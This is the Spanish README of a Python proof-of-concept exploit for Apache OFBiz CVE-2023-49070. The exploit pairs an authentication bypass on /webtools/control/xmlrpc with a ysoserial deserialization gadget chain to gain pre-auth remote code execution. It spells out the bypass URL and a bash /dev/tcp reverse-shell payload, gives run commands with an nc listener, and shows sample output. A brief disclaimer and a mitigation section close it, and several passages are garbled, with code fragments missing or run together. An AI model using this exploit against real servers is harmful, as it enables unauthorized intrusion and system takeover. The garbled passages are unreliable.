
PoC en Python para Apache OFBiz CVE-2023-49070: bypass de autenticación en /webtools/control/xmlrpc más cadena de gadgets de ysoserial para lograr RCE por deserialización pre-autenticación.
PoC para el RCE por deserialización pre-auth en XML-RPC de Apache OFBiz, registrado como
CVE-2023-49070: una ruta de omisión de autenticación desbloquea el endpoint heredado
/webtools/control/xmlrpc, que deserializa un objeto Java controlado por el atacante
introducido dentro de un parámetro <serializable> de XML-RPC.
⚠️ Solo para pruebas de seguridad autorizadas. Ejecuta esto únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba (entornos CTF/laboratorio, encargos con alcance firmado, etc.). El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones.
La autenticación de view-map de Apache OFBiz normalmente protege
/webtools/control/xmlrpc. Las versiones afectadas (< 18.12.10) pueden
ser engañadas para omitir esa comprobación añadiendo un punto y coma más
parámetros de consulta específicos a la ruta:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
Una vez accesible, el endpoint acepta peticiones XML-RPC. La implementación
Java de Apache XML-RPC admite un tipo de extensión <serializable>: el
contenido del elemento se decodifica en base64 y se pasa directamente a
— la clásica deserialización insegura de Java.
Con una cadena de gadgets adecuada en el classpath (este PoC usa
a través de
por defecto), eso se traduce directamente en ejecución remota de comandos como
el usuario del sistema operativo que ejecuta OFBiz.
ObjectInputStream.readObject()CommonsBeanutils1Esta es la misma familia de fallos que los anteriores CVE de deserialización XML-RPC de OFBiz (por ejemplo, el hermano de omisión de autenticación de CVE-2023-51467); OFBiz ha tenido un patrón recurrente de pares de omisión de autenticación + deserialización en este endpoint, así que comprueba el rango exacto de CVE/versión que aplica a tu objetivo antes de confiar en este PoC.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1,
la codifica en base64 y la envuelve en un one-liner
bash -c 'echo ... | base64 -d | bash' (evita la mutilación de
metacaracteres del shell más abajo en la cadena de ejecución).ysoserial para construir una cadena de gadgets serializada
(CommonsBeanutils1 por defecto, configurable) que ejecuta ese
one-liner.<serializable> de XML-RPC.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service) — una señal de que el payload fue procesado, no
una prueba de ejecución de código.No puede confirmar que obtuviste una shell — OFBiz devuelve un error genérico
en cualquier caso una vez que se ejecuta la deserialización (el propio método
XML-RPC, Dns, no existe como servicio real). Ten siempre tu listener
activo y compruébalo, no solo la salida de consola del script.
pip install requests --break-system-packagesysoserial-all.jar — constrúyelo tú mismo desde
frohoff/ysoserial
(mvn clean package -DskipTests) o consigue un jar de release. No se
incluye aquí — es una herramienta de terceros grande con su propia licencia.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
Inicia primero un listener:
nc -lvnp 4444
| Flag | Por defecto | Descripción |
|---|---|---|
--target | (obligatorio) | URL base del objetivo, p. ej. https://ofbiz.target.tld |
--lhost | (obligatorio) | IP de tu listener |
--lport | (obligatorio) | Puerto de tu listener |
--ysoserial | ysoserial-all.jar | Ruta al jar de ysoserial |
--gadget | CommonsBeanutils1 | Cadena de gadgets de ysoserial a usar |
--java-bin | java | Binario de Java a invocar |
--timeout | 15 | Tiempo de espera de la petición HTTP (segundos) |
--proxy | (ninguno) | Proxy HTTP(S) opcional, p. ej. para enrutar por Burp |
CommonsBeanutils1 es la elección clásica para OFBiz (incluye
commons-beanutils en el classpath), pero si no se dispara, las
bibliotecas incluidas en OFBiz también admiten otras cadenas. Solo
cambia --gadget:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc si no usas
activamente la integración XML-RPC; el componente webtools en general
es un objetivo común y no debería estar expuesto a internet sin una razón
de peso.; contra el
análisis de rutas de servlets Java.ObjectInputFilter, disponible desde JEP 290 / Java 9+)
para bloquear que clases conocidas de cadenas de gadgets lleguen a
instanciarse, independientemente de qué endpoint active la
deserialización.*/control/xmlrpc* que contengan elementos
<serializable>, conexiones salientes inesperadas desde el host de
OFBiz, y procesos hijos lanzados por el proceso Java que ejecuta OFBiz.MIT — consulta LICENSE.